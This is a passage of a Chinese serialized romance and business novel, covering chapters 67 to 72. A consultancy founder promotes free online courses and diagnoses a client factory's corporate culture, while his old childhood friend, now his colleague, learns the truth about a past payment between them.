如果白巨兽有幸多食养料,人间和谐,歌舞升平。但久而久之人们失去进取之心和危机感,玩物丧志。 天主自然也知道个中利害,小心翼翼平衡着二者食料,才能维护天底下太平。但天主嗜酒成性,常常酒后犯糊涂。时而将食料全喂了黑巨兽,时而全投喂了白巨兽。 于是人间就变得世事无常,难有太平,人们苦不堪言。天主遥远,听不到怨言,人们便只能自求多福。” 故事说到这里,在座的精英埋首沉思,却不敢妄言,等着总经理进一步开解。 尚云环视下面的每一张熟悉面孔,神情严肃:“你们仔细想想周边发生的事物,或是自身的一些经历,包括大自然与世间万物,几乎都是‘此消彼长’这个道理,哪一件都与黑白巨兽互相制衡的逻辑一样。 舍就是得,得就是舍。每得到一份,必定要舍掉另一份作为代价。” 众人纷纷点头,像是明白了尚云所指。但还是有很多人皱眉待开悟的样子。 尚云又说:“克普公司的存在必有其价值,比如提供了就业机会。但对于普世文化,甚至对于这个行业而言,它就是一只活生生的黑巨兽。 原本黑白平衡自成体统的普世文化,在它的扫荡下,必须要化身为一只白巨兽守护住公司和行业,力保这个行业能健康发展,摒弃端不上台面的手段,发挥正面的社会价值,发展也更长远。 但目前普世的资源与体量远远不敌克普,必须想尽办法获得能量。 能量是什么?就是客户对我们认可,世人给我们的支持。得到能量就必须有所舍弃,将我们赖以生存的业务割去一部分,献给社会。让世人看到普世文化的遵从良知的理念与精诚服务,吸引客户的信赖与支持。 等到黑白巨兽实力相当,黑巨兽就算秉性难改,也不敢轻举妄动乱了这市场。在白巨兽的守护下,还能重新制定公平的商界规则,让更多的人因此得以生存。 各位都是普世能独当一面肩挑大任的人物,还是那句话,埋头赶路的时候要抬头看路,现在应该知道我为何要这么做。” 在座的所有人,终于明白尚云惊人决策背后的底层逻辑。在掌声支持后,各自表决了自己的态度。 第六十七章 尚云为线上产品造势 九月去给尚云汇报工作的时候,文菌正在跟尚云面对面聊天,两人倒像是熟识的朋友,轻松自然。 她站在门口能正面瞧见尚云的脸,他脸上柔和的神情,眉眼带笑,竟让九月对文菌生了几分羡慕。 尚云看到她,笑容收敛:“先等等,一会我打话给你。” 一会,她看到文菌从她办公室前翩翩离去。电话响起,果然是尚云打来的内线电话。 汇报完工作后,尚云叫住转身欲走的她,“中秋节晚上有空吗?” 九月没想到他问这个私人问题。心底某个蠢蠢欲动的声音仿佛在说,这是要约我?刚才与文菌聊天那样开怀,难道也是这个话题? 另一个冷淡的声音又道,每次私下见面都以吵架暴冲收尾,两人八字不合,何况两人之间还横隔着不愉快的陈年往事,断不可给他任何机会。 “应该有空。”话一说完,九月就想咬掉自己的舌头。 “好,那回公司加班,我趁中秋节这个节日,要在公司的App上直播授课,到时你从旁协助。” 九月心里冒出若有若无的失落,却表现出轻松的样子答应:“好啊。” 两天后,文菌的一篇报道便出来了,文中除了重点透露出中秋佳节,普世文化倾情回报社会,帅气创始人尚云将亲自赠送业内干货课程。只需下载普世文化的App即可收看。 另外,也大幅刊出内媒记者针对此举采访创始人尚云,关于决策的幕后原因,并以纸质内刊和电子平台传媒广泛传播。 有一段对话很精彩,被很多商业刊物和电子外媒大量转载。 【文菌记者:其实尚总做出这个决策,我想大部分人都跟我有一样的疑惑。如果为了制造噱头,前段时间普世公司在网上的风波并未平息,完全可以不必如此大费周折也一定能获得关注。尚总对此能谈谈您的看法吗? 普世尚总:根据我们对客户的统计和数据分析,大部分客户服务来自基础知识的需求。这说明什么,就像中国人学英语,人家一口流利英语走天下,我们还处于学习26个字母阶段,民营企业整体水平跟外企还没有pK分量。 很多外企早已经进入科技迭代、研发核心技术层面,而我们还停留在解决管理水平和企业文化的基础工作,这是非常可怕的。 国家要强盛,必须靠实业,而实业目前进步缓慢,容易夭折,总要有人愿意出力去推动。我们的力量有限,无法夸口要为国做多大贡献,在力所能及的情况下,尝试去推动。” 文菌记者:我们明白您的意思,其实收费和免费的效果差不多,都是推动普世文化朝既定目标走,也能吸引刚需客户。实在没必要作无谓的牺牲。 普世尚总:刚刚你也提到,我们如果收费开课,吸引到的都是刚需客户。那是因为他们被迫无奈、公司已经陷入困境,不得不学习求变。 而免费开课则不同,能吸引来的是对课程感兴趣或刚好有时间听一听的人。也许在某一天就能用上所学知识,或者在学到知识后自我诊断,对存在的问题及早刹车,防微杜渐。 因为创始人或者说重要岗位管理者,工作都很繁忙。只要公司情况过得去,没有人会花多余的精力处理这些额外工作。 其实重要而不紧急的工作才是四象限原则里最值得去坚持的,但往往被人所忽视。宁愿以后天天救火,也不愿意提前做好防范工作。 我们的核心价值观再好,如果不建立在执行之上,就实现不了应有的价值。最重要的一点,普世文化的使命就是帮助所有客户达成使命。我们必须知行合一。” 文菌记者:尚总说的没错。但如果为了帮助别人,把公司搭进去也不划算,毕竟免费课程一出来,一定会锐减很多业务。对于这一点,公司高层会议全票通过尚总的决策,并且由尚总带队,轮流直播授课,这是基于对船长的信任吗? 普世尚总:创建普世文化这些年,公司的发展都源于客户对我们的信任和托举。我们不能稳坐功劳簿上心安理得的享受光环。这是普世文化的每个成员内心真正感恩的事。 我们有个共识,如果公司稳定收益是由于国家民族企业的落后而盈利,这是我们的耻辱,不值得骄傲! 开放免费课程就是希望给普世文化所有成员打一剂强心针,我们的长征刚启程,别坐享安逸,要赶紧想办法开发更深层的课件,解决更高级的难题,而不是停留在基础工作上洋洋自得。 我们自己不动,谈什么推动别人?老师不进步,学生怎么进步?!】 内媒记者在文末,写了这么一段发人深省的话,“我们每个人都依赖于自己的经历和见识来做决策,只有少部分人善于从经历和见识中总结出一套自己的理念,并将它升华至人生真理,严格践行。这样的人,往往能看到经历和见识以外的暂时还不存在的风景,并开创伟大的事业。而普世文化的创始人尚云就是这样的英明领袖。” 这一次造势传播很成功,App的下载量和点击率超出了尚云预期,无疑在战争开始前,这一仗就注定要胜利了。 尚云很满意,跟木信说,“我们公司内媒记者总是很精准地理解并转化他想表达的思想,并能用大家都很关心的话题,引导到我想传播的内容上去。” 木信笑道:“其实,普世文化里每个人都有一技之长,能尽展其才,这跟尚总设定的招聘机制有关。” 尚云笑笑不说话。 每位新人在应聘时,公司会问到一个问题。你加入公司最大的动力是什么?或者,假如入职普世,你期望在普世得到什么? 如果录用此人,便会告知对方:“你的期望已经同你的个人信息录入公司的人才培养计划,公司会尽全力协助你实现,前提是你自己要做梦想和工作的主人。 如果你自己都不重视自己的梦想和期望,在普世你将被划定为没有希望的人。” 于是,这种机制将个人期望和公司目标结合在一起,双方奔赴培养出一技之长,并打磨得闪闪发亮。 文菌也是此种机制下的受益者,而公司也是受益者。 这就是执行了普世文化十大铁律中的第六条——坚决抵制“零和”规则,坚守“双赢”底线。 第六十八章 误会解除 看到公司内媒的报道,九月方知那天看见文菌在总经理办公室,原来是在采访。 这时,坐机突然响了。电话是尚云打来的,“下午跟我出去一趟。带上笔记。” “好。” 一看时间,已经差不多了。她拿了东西出了办公室,朝走廊一张望,就看到尚云也走了出来,边走边对她说,“有个老朋友相约,估计要介绍活儿,我跟你一块去客户公司,后面你独立完成。” “没问题。” 走出公司,两人上了尚云那辆墨色大奔,对方已经在酒店等他们。 尚云说的老朋友便是志高,还有另一位男性,一脸忠正,浓眉大眼,要不是肤色正常还以为是关公。 志高给双方介绍了一番,“老杨,这就是我十多年交情的好兄弟尚云,在文化管咨行业的实力可称得上扛霸子了。” “尚云,你百忙抽空能来,兄弟记你的情。这位是我退伍前认识的好哥们杨简,你喜欢研究道学,他喜欢研究儒学,都是中国传统文化,万变不离其宗嘛,算得上同道中人。” “自己人,说什么两家话。”尚云瞥志高一眼,朝杨简握住手:“幸会。” “久仰大名啊尚总。”杨简客气道,见志高没有介绍到旁边的美女妹妹,担心她受冷落,便道,“这位一定是公司内举足轻重的人物,才会在尚总左右。” 志高这才留意起尾随尚云的女孩,还未开口,尚云便介绍道:“这是我公司的首席顾问慕九月,今年挖掘到最有潜力的人才,不日就可超过我。” “慕九月?”志高一脸听吃惊,不免细细打量起慕九月。 名字耳熟,一时想不起来在哪听过。 尚云金口难开,严格要求自己和身边人,从不轻易夸赞人。这会短短两句话的盛赞,令人立马刮目相看起来——这女孩一定不简单。 “哈哈,尚总谦逊,再好的千里马也需遇见能识会用的伯乐。”杨简久经商场,场面话拈手就来。一方面夸了尚云,一方面捧了九月:“能得尚总如此赏识,慕小姐一定能力卓绝,有过人之处,幸会了。” 九月被尚云这么一抬举,便落落大方道:“尚总抬爱,九月愧不敢当,幸会杨总。” 四人入坐,酒酣耳热之际,志高这才切入话。 “尚云,咱都是自己人,我就不遮遮掩掩了。杨兄弟自己开办了一家工厂,前十年发展不错,他公司虽然没有企业文化,但他自身的特质和尊崇的理念,对公司影响深远。所以,一路披荆斩棘,曾经发展到两千多号人。做他这行业,能发展到这规模已是行内排得上号的了。” 杨简一直敬酒,喝了不少,脸上两酡红,手半举扬了扬,“诶!金兄弟,英雄不提当年勇。” 金志高笑笑,又道:“最近几年,这行业越来越多的竞争者出现。当然,哪个行业没有竞争对手是吧。良性竞争还能促进发展呢,可这些竞争对手吧,就像行业搅水者,整得乌烟瘴气。 他这么好的经营理念,这几年缩水了40%的业务量,只剩几百号人了。” 说着摇头叹惋。 他看了一眼杨总,又看看喝了几杯,便开始沉默抚额的尚云:“我就跟他介绍了你,说你擅长拯救危机,以前托我找到你的那些企业朋友,现在公司都已走向正轨,连我们金仕集团一落千丈,多亏你这十年来细心经营,可说是神来手笔扶上顶峰,谁不对你交口称赞。” 九月喝的是果汁,对面二人敬酒时都叫尚云挡了回去,要不然就是他替她喝了。因此,她是唯一没有醉意的人。 听到这番话,九月眉头拧了个大结,如果没记错,西服男当年说尚云回自家产业接手家业去了。金志高这番话又是什么意思? 那番话刻骨铭心,字字句句落在心头鞭笞她,又怎会记错? 再看尚云,单手撑着额头,脸上和脖子泛着红,他点点头,声音因醉熏而稍显慵懒:“志高,我哪次推拒过你委托的事,我们之间不必说那些虚的。” 志高呵呵傻笑,又满上一杯,“你将我那补偿款100万退回来了,我原以为......今天硬着头皮找你,没想到你如此宽宏大量。我心里只有惭愧,以后你用得上,金仕就是你的后盾。敬了你这杯酒,表达感谢,我干了,你随意就好。” “我也敬你,尚总。我公司的事就拜托你了,感恩不尽。”杨简虽然昏昏沉沉,但不敢有半点疏忽,竖着耳朵听两人的对话。 尚云那句话,就是答应的意思了。他喜出望外,也跟着一饮而尽。 尚云便拿起旁边的盛酒器倒酒,被一只手按住了。 他抬头,看到九月站在他旁边,倒了一杯酒喝了下去,“尚总已经喝了不少,公司还有事等着他回去处理,这杯酒我替他喝了。” “对对对,尚云一向是个大忙人,今天能出来已经很给面子了。” “慕姑娘果真顾大局,识大体,你常随从尚总左右,尚总忙不开手的时候,也少不了要麻烦你,我敬你一杯,你随意。” “只要是公司的客户,只要是尚总认下的承诺,不必吩咐我也会尽心尽力。”九月说着也倒了一杯酒,接下这一杯。 走出酒店的时候,华灯初上。 尚云脚底虚浮,九月将他扶到车边。他晃晃手示意停下来,盯着街心公园那漂亮路灯的方向。 “尚总是要去公园坐会吗?”九月是有一点酒量的,一两杯酒下肚没有任何影响。 半晌,尚云摇摇头,自己钻进车里。 时近七点,街心公园正是热闹,几拨广场舞大妈,在团队服装上也用了心,争奇夺艳,各有风流。 尚云坐进车里之后,九月这才乍然看到空中那轮血红色月亮。 血月并不稀奇,只是他们年少时,头一次留意到天上有一轮血红血红的圆月时,心中虔诚得不行,当即就站在夜空下许愿。 小九月拉住小尚云的胳膊,嘻嘻笑得很贼:“尚云哥,你许的什么愿?” 小尚云嘴唇微勾:“你呢?” “愿望说出来就不灵了。” “那你还问?” “哎呀,尚云哥,你告诉我呗!”小九月开始耍赖。 他定定望着渐渐隐入云层的血月:“我的愿望,希望我在乎的人永远快乐。” “那你在乎的人是谁啊?” “不告诉你!” “说嘛,尚云哥,不说我就偷看你的小作文。” “你还学会威胁我了。”九月最怕痒,小尚云便挠她痒痒。 “啊哈哈,不敢啦,尚云哥我真不敢啦......” 最后,尚云还是抵不过她水磨功夫,将愿望说了出来:“我在乎的人,就是慕爸爸、慕妈妈、慕奶奶——和你呀!” 她小人得志一般,骄傲的把这个秘密告知奶奶,又告知爸爸妈妈,看到对方获知这个秘密,脸上露出开心笑容便感叹尚云的愿望果然实现了。 后来才发现,“永远”这个词是一种不切实际的虚幻用词,尽管如此,人们还是一厢情愿地选择相信。 第六十九章 拒绝解释 往事历历在目,当时的他们,怎会知道如今两人闹成今天这步田地。 九月无声苦笑:大概是说出来的愿望,才会不灵。她用十二年的经历不断提醒自己,这个愿望失灵了。 想到这里,她心中一动,坐进车里就问出了心中的疑惑,“你这十年来,一直在金仕集团?可你托人告诉我,你回去继承家业了。” 尚云靠在椅背上闭目养神,听到她的问话也不睁眼看看她,只是淡淡一句:“有区别吗?” “有区别。”九月声音哽咽:“所以那五十万不是你作为富家少爷身份补偿给我的对不对?而是向别人借的?早早去了金仕集团工作用以还债?” 尚云沉默了。 “你为什么要骗我?”与其说这是质问,不如说这是她心中冰雪崩裂的声音。她从此再没理由如此恨他、怨他。 “我对不起慕家,对不起你。”尚云仍是淡淡地说,从头至尾没看她一眼。 他似乎不愿再提往事,用一句对不起,承揽所有错误的姿态挡住了她探究。也拒绝解释。 当初千想万想,自认为想到能力范围内最周全的办法,如今才发现是最愚蠢的办法。在最终结果面前,任何解释都没有意义。从不为失误找借口,这是他一贯的风格。 窗外出一个身影,那人敲敲车窗,九月摇下车窗,看到一个穿着代驾服装的年轻帅哥,躬着身子问:“请问是您叫的代驾吗?” “没错。”她把车钥匙交给他。 代驾员将车子开到公寓指定停车地点泊好,九月在平台上支付了费用,代驾便走了。 公寓的电梯下午出现故障,联系了维修人员,要明天才能来。公寓的工作人员便在电梯前摆上了告示。 尚云转身去了楼梯口,九月担心他行走不稳。便过去扶住他。 “不用扶。我很清醒。” 果然,他爬楼梯如履平地一样轻松,九月则喘得不行。爬上八楼便已达极限,伏在扶手栏杆上大喘气。 听到脚步声越来越近,她抬起头,看到本来已经走到上一层楼的尚云又走下来,出现在她面前。“我歇歇,尚总你先走。” 他不由分说,牵起她的手就往上走。 九月头脑发懵,仿佛又看到年少时的尚云,总是在她避苦偷懒时,以霸道而温暖的形式给予助力。 上了十二楼,他停下来面无表情的回头看了她一眼,松开手打开防烟门进了12楼走廊。 她无法意会那一眼意味着什么,是让她不要紧跟他出现在走廊,还是纯粹条件反射地回望她。 因此,她没有马上跟上去,防烟门自动关闭,楼梯间的声控灯也倏然熄灭。她用力跺着脚,保持楼梯间的亮堂。 预估他已经进了房间,才飞速逃离即将来临的黑暗窜进走廊,走廊空无一人。果然他早已经进屋,房门紧闭。 第二天,尚云在公司的通迅软件上发消息让她随同前往杨简公司。 九月拿起笔记本便随尚云出去了。 杨简来电话,问尚云需要做什么准备?尚云说,“你什么都不用做,也不用告知任何人。我想看到公司最真实的样子。” 杨简答应了。 两人出现在杨简的公司,就是寻常的独立厂房,有些墙体磁砖剥落,有些砖缝里还起了一层青苔和几簇墙头草, 看起来有些年头了。 公司里立了一排不锈钢宣传栏,尚云过去看了看,大多是些品质异常报告和常识,也有一些基础管理知识和布告。 但设立宣传栏的位置显然已经吸引不了员工,上次更次时间还是上个季度,距今五个月了。 从门卫到接待人员看公司在执行什么,再到公司对各部门的布局看公司重视什么,工作人员互相之间相处模式看文化氛围,尚云的诊断内容了然于心。 打电话给杨简,由他带领二人了解生产现场,公司内部运作。 杨简正在讲解的时候,耳边传来激烈的争执声。三人目光同时被吸引,看到杨简过去,剑拔弩张的两人才散了。 杨简脸上无光,直跟尚云说,“让尚总见笑了。” 尚云微微一笑,“没事,我们继续吧。” 直到出了车间,尚云才问,“那才那个声音较大气焰嚣张的人是管理人员吗?” 杨简皱着眉直摇头,“是新来的一个技术员。” “另一个毫无招架之力的是员工?”尚云又问,“不过看制服也不像员工。” “没错,他是生产现场的管理人员。” 尚云点点头,让杨简先去忙,自己再看看。 他叫九月单独找现场争吵的管理人员了解情况。 九月自有问话技巧,不一会儿就带回了信息。“尚总,这件事是一个星期之前管理人员工作疏忽导致,他将Ab两款型号相近的样板派给组长。组长则交至技术人员测试。 因单据弄反,导致测试的产品也跟着弄错。组长收回看到技术员测试oK的签署进行量产,后来发现样板跟单据不一致。 导致一批产品造成报废。究其原因,是因为源头错了,后面跟着错。” 尚云听完,继续问:“那也不至于吵架,一定处理方式涉及利害,有没有细问?” 九月点头,说出自己获知的全部信息:“当时事情还算发现及时,产品报废的量也不算多,但管理人员去处理这件事情时,技术人员表示当时粘贴在装产品的胶袋上那张单据自己没看,他只对要测试的产品负责。组长则反映单据和产品拿过来就是这样,自己也没有错。 两人都表示这款报废的材料损失不应该由自己承担。 管理人员在讲述理由时,表示主要责任在自己,所以50%的损失自己承担,他们二人都应该核对产品和单据是否一致,但二人都没尽到责任,所以平分50%的损失。 这样的处理方式两人都不服,组长是基层管理,自然不会公然顶撞,但技术人员大为光火,当场指着管理者的鼻子骂人。认为管理人员自己的错,拉别人下水,这样没有担当的人不配做管理人员。” 这件事情的处理就涉及到文化冲突了,也能解释为什么管理人员在吵架时气势要弱一些,跟公司的真实文化不无关系。 为了确定自己的猜测,他让九月扮演公司新入职的员工关系专员,专门调节公司大小事务。借此找几个管理人员单独谈话,并以车间争吵案例让大家说说自己的看法。 管理人员多半认为:凡事先从内部检讨,从自我检讨。 “走吧,我们去找杨简。”尚云说。 第七十章 尚云亲自把脉 尚云在一番交流后,开门见山的建议,“管理人员的处罚方式是正确的,维持原判,另外,如果公司要保留‘担当’价值观,还得再加一条处罚,技术人员和组长违反核心价值观,额外增加处罚,公司有无相关制度?” “有倒是有,但长期以来一般用于管理人员,K级以下员工未曾用过。” “这就是文化反噬。先是对文化偏面解读,紧跟着偏面执行,形成了偏面的思维模式。直到所有员工都有一个共同认知:认为自己无须担当,上面的管理人员才需要担当。” 杨简沉默了,旋即根据尚云的意思,吩咐发处罚通告出去。 技术人员一时负气,提出辞职。按以往做法,公司人资往往会派人做离职前的面谈挽留,给他充分尊重以示仁义。 尚云表示,要想纠正文化歪风,不可节外生枝。批准他走就是。“这是在维护公司文化,建立公司的规则红线。大可不必觉得惋惜,如果伤口化脓长疮,必须剜去腐肉才能痊愈,必要时要狠心才行。所谓文化留人,坚持执行公司文化,它会自动筛选出一部分不合适的同行者。观念若是不转变,就凭现在公司里的氛围只能用四个字来形容——一盘散沙。” 杨简显然没料到尚云对公司的评价这么低,脸上有点挂不住:“这话怎么说?” “管理人员与员工离心离德,双方处在对立面。管理人员与公司离心离德,忍辱负重,氛围消极认命,全然没有生机。这是公司文化造成的。 就连公司的文化宣传栏敷衍草率,无人过问,基本的形式都不走了,可想而知公司文化形同虚设。在如今竞争有如猛兽般的市场,向心力就是组织生存的希望,一盘散沙是没有生存可能性的。” 见杨简哑口无言,尚云笑道:“杨总请我来是要纠出问题,从而解决问题。而不是请我来讲一些好听的话,做做样子,就心安理得离开。正因为这一点,我说出的真相可能令杨总难以接受。但接受正是改变的开始,否则,连你自己这关都过不了,又怎么去说服全公司落实我的改革计划?” “对对对,”杨简认可尚云这一番话,“当局者迷,旁观者清。既然拜托你来整改公司,那公司一切方针都由你来定。” 尚云纠正道:“公司方针没有问题,我喜欢从企业文化上看问题,大部分企业不太重视企业文化带来的影响。 其实,杨总推崇儒教,你的理念在创业那时是正确的。在二十多年前,大多数劳动者都是受过苦挨过冻,在严厉家风下成长的70后、80后,儒式文化在这样的土壤下是极受欢迎的,因为那时候大部分公司都是权威等级森严的不平等管理模式。 而你的公司氛围尊重员工、爱护员工,凡事督促管理者自省,恰恰让员工感到温暖、舒适。” 杨简点点头,他以身作则,公司善待员工的儒式氛围是他引以为傲的精神资产。 “也因此,凝聚了一帮懂感恩、心地纯朴的拥趸者,齐心协力一下子将公司做到2千人的规模。这十多年里,经历了几次危机,尤其2008年那次,你的公司居然完全不受影响,是你当时的文化氛围起的作用。你坚持正道,克己复礼,赢得人心,文化氛围贴合大环境,所以经得起大环境的风雨洗礼。” “对,人心齐,山能移。”杨总回忆起那段岁月,嘴角微扬。 接下来的话,尚云将话题带入转折,继续说。“如今,时代变了。公司里不断汰旧换新,老员工渐渐退出舞台,走上舞台的都是有主见、受宠爱的90后、00后,这班人已经不能再用老方式去管理,文化还是要建立人性之上。 就是说在爱护员工的同时,要设立明确的文化规则。让大家知道公司里的方方圆圆,该维护什么,摒弃什么。否则,新加入的员工就算是好人,也会在你这文化氛围里培养成坏人。人是环境的产物,环境提供什么样的文化土壤,人为了适应环境改变自己以利生存。” “很抱歉我用了‘坏人’这个不太恰当的词,只是当初的文化演变到如今已经近似了。”尚云停顿了一下,见杨简陷入思索状,缓缓说,“因为公司强调管理者凡事自省、担当,而如今时代下的人们无论成长环境,还是相处模式。现在的人脑海里根本没有‘逆来顺受’的概念。 既然公司对文化的解读和执行也吻合这一点,顺势就将管理层架上文化高处,你是管理者,该担当的是你,该自省的也是你。这么一来,底层不就成了这个文化下的坏人了吗!阶层冲突一旦形成,就会渗透各个维度。” “听君一席话,胜读十年书。”杨简有如醍醐灌顶,不得不佩服尚云对一件事情的抽丝剥茧,知微见着的功力。“那接下来怎么做呢?” 尚云见差不多了,便道:“杨总放心,我们今天过来是初步诊断,过几天由我们的首席顾问慕小姐驻厂,精准采样,进行深度诊断。才能输出一份可行性方案,再由执行团队过来全程协助公司实施改革方案。那今天就先到这里。” 杨总邀二人用过午餐之后再走,表示公司早就订好包间了。二人以还有业务,婉拒了。 一路高速离开工业镇,回到宝宁,车速才慢下来。掉头过了两个路口停在一家古典装璜的主题餐厅附近。 九月下车就想起来了,这是上次的南月楼。就在这里,九月曾经对他说过最难听的话。 悄悄瞥了他一眼,尚云若无其事的率先走进去了。 接待他们的还是隆经理,这次点菜的,还是尚云。“来份肝炙、烤鸭、蒸鸡,黄焖鱼肚,炸烹虾段。再上两份招牌甜点。” 点完了,尚云隔着菜单,看着九月说道,“有没有特别想吃的菜?” 九月摇摇头,“就这样,可以了。” 光是听菜名,九月就感觉味蕾瞬间苏醒。就听尚云说,“除了这些,再上一份清粥。” “好的,二位稍等。”隆经理离开。 结果,一份清粥是尚云自己的,其他的都是九月的。 “每次来都只吃一碗粥,是这碗粥里有故事么?”九月好奇的问。 “粥里有没有故事我不知道,但有人每次来这里为了吃一碗粥,这就是故事本身。”尚云绕着弯子,说着富有哲理的话:“你做品牌出身,创造故事是你的强项,如果南月楼请你来工作,这可不就是你的素材?” 九月点点头,终于明白木信对尚云的评价:眼里所见皆工作。 第七十一章 故事原委 但是,尚云成功转移了话题,却愈加提升了九月的好奇心。 下午,九月跟木信聊着工作,她冷不丁的问,“你知道为什么尚总喜欢喝粥吗?” 木信被九月这与工作不相干的问题噎了一下,边回想边回道:“不是喜欢,是被逼无奈。” “什么意思?”没有人逼他,而且,听他跟隆经理的对话,应该是常常去南月楼喝粥。 “他胃疾严重,喝粥能减轻胃的负担。”木信下意识地往门口瞧了一眼,尚云不喜欢工作场合谈论私事。 九月反射性地就道:“为什么不去看医生?” “怎么没看?但反反复复就那样。而且老板经常要应酬,喝酒不仅伤肝还伤胃,根本没办法根治。所以,通常在过量饮酒后,有粥喝就不会吃旁的。否则只能忍受胃痛折磨,我可是见证过他胃痛时的样子,挺吓人。”木信像是想起了那些往事,皱眉摇摇头。“不说这些了,下午有点忙。” 事实上,这段时间九月也很少见到木信闲下来。 九月忽然就有些悲伤。 尚云生性固执,也清高孤傲。他曾在小作文中写过这样的句子:“人啊,江山易改,本性难移。话虽这么说,世上却有两样事物会轻易改变一个人:一是刻骨铭心的爱,另一个,是深入骨髓的痛苦。” 当时她一边小心翼翼将这些尚氏经典语录专门摘抄进硬壳笔记本里,一边挠着后脑勺词穷的暗赞:哇瑟,写得真好! 现在想来,他那些文字,句句都是真理。 他小时候最讨厌喝粥,慕奶奶的手艺那样绝,依然吸引不了他,觉得那清汤寡水不值得回味。 总觉得人生就要活得热烈,大口吃肉,大口喝酒,驰骋沙场,飞马强弓才叫快意人生。 若不是被胃痛折磨得足够惨烈,他又怎能时常执起粥碗,安静的细细咀嚼那粥里若有若无的香甜味。 “企业的初步诊断报告出来了吗?”尚云发来信息跟进上午的工作,将她的伤感齐边砍断。 “出来了,刚交给木信检查了一下,我稍微修改一下就发给你。” “木信工作繁重,你下次有疑问,可以直接来问我。” “好的尚总。”她快速回复,将修改好的报告发邮件给他。 下班后,九月答应了文菌一起去逛街,正在吃饭,就接到一个陌生电话。 “慕小姐,我是金志高。昨天一起吃过饭,还有印象吗?” “当然记得,金先生,您是有什么指示?” “指示不敢,想请你喝杯咖啡,不知道是否赏面?”金志高客气道。 九月平时工作中也会碰到这种情况,无非是塞个小红封,希望他们能将工作做到位。 金志高开口时,九月高度敏感,一听便猜出对方用意。一如继往地正色道:“如果是跟杨总公司的事情有关,就没有必要了。你要相信普世和尚总,就算没有你这层关系,我们承接客户的项目之后,必然会不打折扣的完成服务内容。” 金志高知道她误会了,赶紧解释道:“不是杨总的事,也不谈工作的事,你可能不记得我了,有一年夏令营跟尚云比剑法的人就是我呀。” 九月一愣,世界竟这么小,“原来是你。那,你找我是因为什么事呢?” “我和尚云以及你的事。一言难尽,见面聊吧。我来接你。” “好吧。接就不用了,你发位置过来,我打车过去。” 车子停在有名的“雨翔山庄”前面,九月下车,路面宽敝整洁,正值秋季,却绿意浓郁,鸟语花香。菊花满目,青竹郁葱,壁石千仞,湖水碧绿。 总之,这里的生态环境不仅自然而且瑰丽。令人像融入自然一样轻松。 金志高从“雨菲黎”咖啡厅里走出来,专程迎接她。 跟昨天正式场合不同,今天他穿着打扮都透着欧美复古的潮流派。原本开始油腻的年纪,看起来显得年轻有活力。 坐定后,他点了几份点心,和两杯咖啡。“虽然我应该表现得更有绅士风度一点,问问你喜欢喝什么。但是,你不常来,可以先尝尝我推荐的咖啡,你会爱上这里。” 九月倒是被他这样好玩的个格逗笑了,“不介意啊。客随主便嘛。” “嗯。你长高了好多,昨天听到尚云介绍你,就觉得耳熟。后来花了一晚上才想起你来。十多年前就见过面了。” “我想,夏令营那次见面还不至于让你约我来这么奢侈的咖啡厅。” “的确。后面因为缘份,我跟尚云在同一所大学又见面了。这一点你大概不知道。” 九月果然惊讶道:“你们还是大学同学?” “不,是校友。在图书馆我认出了他。那时候,就是故事的开始。” 金志高将这个故事,一直讲到尚云签下协议,预支了五十万送到九月手上,当时,他问起此事,那人只说办妥了。直到尚云前两个月,突然出现在金仕集团,问起五十万的下落。 金志高声线低下来,语气也沉重了不少:“五十万对于现在的尚云来说,根本不算什么,然而,这件事给他的冲击很大。他一直以为你拿了那笔钱,可以还清欠款后有所剩余,不愁生计,继续学业,无忧无虑长大。他就能心甘情愿将十年岁月绑在金仕集团。 他有自己的想法和计划,尚云是一个颇具野心与实力的人。可因为我父亲动了大手术,而我对公司管理一窍不通,所以当初想方设法地说服他来金仕。你一直不松口。 没想到天遂人愿,在他最困难的时候,区区50万留住了他,虽不光彩,也算是各得其所。 没想到那50万你根本没拿到,该受的苦你一份没少受,尚云心里的自责与懊悔可想而知。自认识他以来,从没见他如此难过。但那天他来我办公室,问起这件事之后,强忍着眼泪一言不发。我知道这件事办得多不地道,枉称十几年的兄弟。唉!” 九月静静听他讲了许久,侍者送来咖啡她连动都没动。 她并不知道原来那50万来得如此崎岖,尚云为了当年的事几乎倾尽自己的能力。而她还用天底最冷漠最尖锐的话去刺痛他,然而。从头到尾,他一句都不愿意解释。 他认定,就是自己的错。她伤他是应该的。 第七十二章 雨中救险的少年 九月躬着背,胸口痛得像是被人咬牙切齿的拧了一下又一下,眼泪滴在进口洋布桌上,她才发现自己哭了。 “慕小姐,对不起。”金志高递给九月纸巾,更加过意不去:“我真的非常非常抱歉,甚至追查此事都没能得到想要的结果。我心里真的很不好受,所以,当我记起你就是当年那个女孩,第一时间就约你出来,向你道歉,并请你收下这点心意。这本来就是你的。”志高将一张银行卡放在九月面前。 九月鼻音很重,但说话理智很有条理:“金先生,谢谢你告诉我这些真相。但是,这么多年最苦最难的日子我都熬过来了,早就能自给自足。 你不必向我道歉,也没有对不起我。你真正对不起的人是尚云,对不起他在金仕十年呕心沥血地付出。 这是你们两人之间的事情,还得你们自己去解决。钱就不收了,谢谢你请我喝咖啡,闻着很香,确实不同一般。我还有事,先走了。失陪。” 九月出了咖啡厅的门,一路小跑,哭得上气不接下气。金志高在后面追着喊她,都没听到。 不一会儿,一辆进口轿车一直跟在旁边滴滴作响。 “你会不会开车!有车了不起啊!我都走到路边来了你还要欺负人!”九月带着哭腔失控骂道。 “九月,是我!”车子停了下来。 她擦干眼泪,怔了半晌,才意识到车里边坐着的是莫诚。 “看背影像你,没想到真的是你。”莫诚下了车走过来,扶住她削瘦的双肩,“你怎么了?怎么哭成这样?” 她摇着头,眼泪又落下来。 “先上车,这里不准停车,走吧。” 九月掉着眼泪跟着莫诚上了车,莫诚就带着她专挑风景好环境幽静的路段,慢慢行驶。 待她情绪平静下来,他将车开至一条河边。 夜晚降临,河道两旁金黄色的路灯辉映,像是在幻境。 “下去走走?”莫诚问。 九月松开安全带,一起下了车。 这条河宽度大概有二十米左右,上游和下游之间有一个高坎,水流冲下来,形成一个瀑布。 下车后,两人即听到巨大的水流声轰隆入耳。 “这是哪儿?”九月仔细打量四处风景,虽是秋天,这里却美轮美奂,大概在建设这处景点时,有刻意设计过,在哪个季节有哪些吸引人的观光价值。 很多景观树,枝叶繁茂得仿佛四季永春。但树叶颜色还是出卖了这个季节,错落交织,其中红色最为抢眼,沿着河道一路通红,绿植很高,修剪整齐,空气中有微微甜味,闭上眼睛耳边传来瀑布的流水声,鸟鸣婉转,实在令人心声舒畅。 来安宁市这么久,竟没注意到这个好地方。其实离这里大概两里路的距离,就是南庆庄。而这里是他年少时常来的地方。 莫诚介绍说,“这是很多男人的伤心地。” 九月不解何意。 